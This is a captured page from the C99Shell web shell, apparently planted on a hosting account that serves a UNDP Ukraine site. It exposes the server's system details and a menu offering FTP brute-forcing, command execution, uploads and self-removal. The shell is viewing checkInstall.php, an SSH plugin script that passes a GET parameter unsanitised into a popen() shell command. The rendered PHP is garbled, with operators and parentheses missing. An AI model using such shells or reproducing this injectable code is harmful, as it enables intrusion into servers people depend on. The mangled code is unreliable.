!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/msdp.undp.org.ua/modules-alien/ajaxfilemanager/plugins/access.ssh/   drwxr-xr-x
Free 106.94 GB of 200.55 GB (53.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     checkInstall.php (2.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// Testing the SSH installation
header("Content-Type: text/html; charset=UTF-8");

echo 
"<html><head>
       <!-- Should include a stylesheet here -->
      </head><body>"
;
      
// First test, check that the required files are all present
echo "<h1>Testing installation</h1>";
if (!
file_exists("class.sshDriver.php"
 || !
file_exists("class.SSHOperations.php")
 || !
file_exists("manifest.xml")
 || !
file_exists("showPass.php")
 || !
file_exists("sshActions.xml"))
    echo 
"ERROR: Missing at least one of these files:
    <ul>
    <li>class.sshDriver.php</li>
    <li>class.SSHOperations.php</li>
    <li>manifest.xml</li>
    <li>showPass.php</li>
    <li>sshActions.xml</li>
    </ul>"
;
else echo 
"All required files are installed";
    
// Testing file permissions
echo "<h1>Testing file permission</h1>";
$stat stat("showPass.php");
$mode $stat['mode'] & 0x7FFF// We don't care about the type
if (is_executable('showPass.php')
    || ((
$mode 0x40) && $stat['uid'] == posix_getuid())
    || ((
$mode 0x08) && $stat['gid'] == posix_getgid())
    || (
$mode 0x01))
{
    echo 
"Required showPass.php is executable";
}    
else
{
    echo 
"ERROR: showPass.php isn't executable.<br><h2>Trying to make it executable</h2>";
    
chmod('showPass.php'0555);
    if (!
is_executable('showPass.php'))
       echo 
"FAILED: Please log on the server and make showPass.php executable for your webserver user";
    else
       echo 
"Success: showPass.php was made executable";
}
 
// Checking if ssh is accessible
echo "<h1>Testing ssh access from webserver's user</h1>";
$handle popen("ssh 2>&1""r");
$usage fread($handle30);
if (
strpos($usage"usage") === FALSE)
    echo 
"ERROR: ssh is not accessible, or not in the path. Please fix the path and/or install ssh";
else
    echo 
"ssh is accessible and runnable";
pclose($handle);

// Check if the destination server host key is accessible
echo "<h1>Checking if we can connect to destination SSH server</h1>";
if (
$_GET["destServer"] == "")
{
   echo 
"<form method=GET>Please enter SSH server address to test:<input type=text name='destServer' value=''><input type='submit' value='Ok'></form>";
} else

   
$handle popen("export DISPLAY=xxx && export SSH_ASKPASS=/bin/sh && ssh -T -t -o StrictHostKeyChecking=yes -o LogLevel=QUIET".$_GET["destServer"]." 2>&1""r");
   
$key fread($handle30);
   if (
strpos($key"Host") <= 4)
   {
      echo 
"ERROR: The server ".$_GET["destServer"]." you are trying to contact doesn't have its host key installed<br>
      Please install server host key in /etc/ssh/ssh_known_hosts file, as the webserver user can't store server's key"
;
      echo 
"<br>You should type this command as root to add the key to the main host file:<br>ssh -o StrictHostKeyChecking=ask -o UserKnownHostsFile=/etc/ssh/ssh_known_hosts ".$_GET["destServer"]."<br>";
   }
   else
      echo 
"Server host key installed and working";   
   
pclose($handle);
}


echo 
"</body></html>";

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0095 ]--